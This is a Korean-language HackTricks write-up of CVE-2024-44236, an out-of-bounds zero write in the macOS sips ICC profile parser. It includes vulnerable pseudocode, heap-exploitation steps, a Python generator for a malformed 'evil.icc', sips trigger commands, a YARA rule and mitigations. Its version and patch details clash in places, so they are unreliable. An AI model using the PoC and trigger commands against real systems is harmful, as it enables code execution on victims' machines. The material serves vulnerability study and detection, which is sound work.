WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

Apple macOS Scriptable Image Processing System (sips) ICC 프로파일 파서에서 발생하는 제로 쓰기 취약점 (macOS 15.0.1, sips-307)은 공격자가 힙 메타데이터를 손상시키고 원시를 전체 코드 실행으로 전환할 수 있게 합니다. 이 버그는 lutAToBType (mAB ) 및 lutBToAType (mBA ) 태그의 offsetToCLUT 필드 처리에 있습니다. 공격자가 offsetToCLUT == tagDataSize로 설정하면, 파서는 힙 버퍼 끝에서 16바이트를 지웁니다. 힙 스프레이링을 통해 공격자는 할당자 구조체나 나중에 역참조될 C++ 포인터를 제로화할 수 있으며, 이는 임의 쓰기-실행 체인 (CVE-2024-44236, CVSS 7.8)을 생성합니다.

Apple은 macOS Sonoma 15.2 / Ventura 14.7.1에서 이 버그를 패치했습니다 (2024년 10월 30일). 두 번째 변형 (CVE-2025-24185)은 2025년 4월 1일 macOS 15.5 및 iOS/iPadOS 18.5에서 수정되었습니다.

취약한 코드

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Exploitation Steps

  1. 악성 .icc 프로파일 만들기
  • 최소한의 ICC 헤더(acsp)를 설정하고 하나의 mAB (또는 mBA ) 태그를 추가합니다.
  • 태그 테이블을 구성하여 offsetToCLUT가 태그 크기(tagDataSize)와 같도록 합니다.
  • 태그 바로 뒤에 공격자가 제어하는 데이터를 배치하여 16개의 제로 쓰기가 할당자 메타데이터와 겹치도록 합니다.
  1. 프로파일에 영향을 주는 sips 작업으로 파싱 트리거하기
bash
# 검증 경로 (출력 파일 필요 없음)
sips --verifyColor evil.icc
# 또는 프로파일을 포함하는 이미지를 변환할 때 암묵적으로
sips -s format png payload.jpg --out out.png
  1. 힙 메타데이터 손상 ➜ 임의 쓰기 ➜ ROP Apple의 기본 nano_zone 할당자에서 16바이트 슬롯의 메타데이터는 정렬된 0x1000 슬랩 바로 뒤에 위치합니다. 프로파일의 태그를 그러한 슬랩의 끝에 배치함으로써 16개의 제로 쓰기가 meta->slot_B를 덮어씁니다. 이후 free가 발생하면, 오염된 포인터가 작은 자유 목록에 큐에 추가되어 공격자가 임의 주소에 가짜 객체를 할당하고 sips에서 사용되는 C++ vtable 포인터를 덮어쓸 수 있게 하며, 마지막으로 악성 ICC 버퍼에 저장된 ROP 체인으로 실행을 전환합니다.

빠른 PoC 생성기 (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

YARA 탐지 규칙

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Impact

조작된 ICC 프로파일을 열거나 처리하면 호출하는 사용자의 컨텍스트에서 원격 임의 코드 실행이 발생하며 (미리보기, QuickLook, Safari 이미지 렌더링, 메일 첨부파일 등), 프로파일이 그렇지 않은 이미지(PNG/JPEG/TIFF) 내부에 포함될 수 있기 때문에 Gatekeeper를 우회합니다.

Detection & Mitigation

  • 패치! 호스트가 macOS ≥ 15.2 / 14.7.1 (또는 iOS/iPadOS ≥ 18.1)을 실행하고 있는지 확인하십시오.
  • 이메일 게이트웨이 및 EDR 솔루션에 위의 YARA 규칙을 배포하십시오.
  • 신뢰할 수 없는 파일을 추가로 처리하기 전에 exiftool -icc_profile= -overwrite_original <file>로 포함된 ICC 프로파일을 제거하거나 정리하십시오.
  • 미지의 콘텐츠를 분석할 때 샌드박스화된 “투명성 및 현대화” VM 내에서 미리보기/QuickLook을 강화하십시오.
  • DFIR의 경우, 통합 로그에서 샌드박스화된 앱에 의해 sips --verifyColor 또는 ColorSync 라이브러리 로드의 최근 실행을 찾으십시오.

References

  • Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기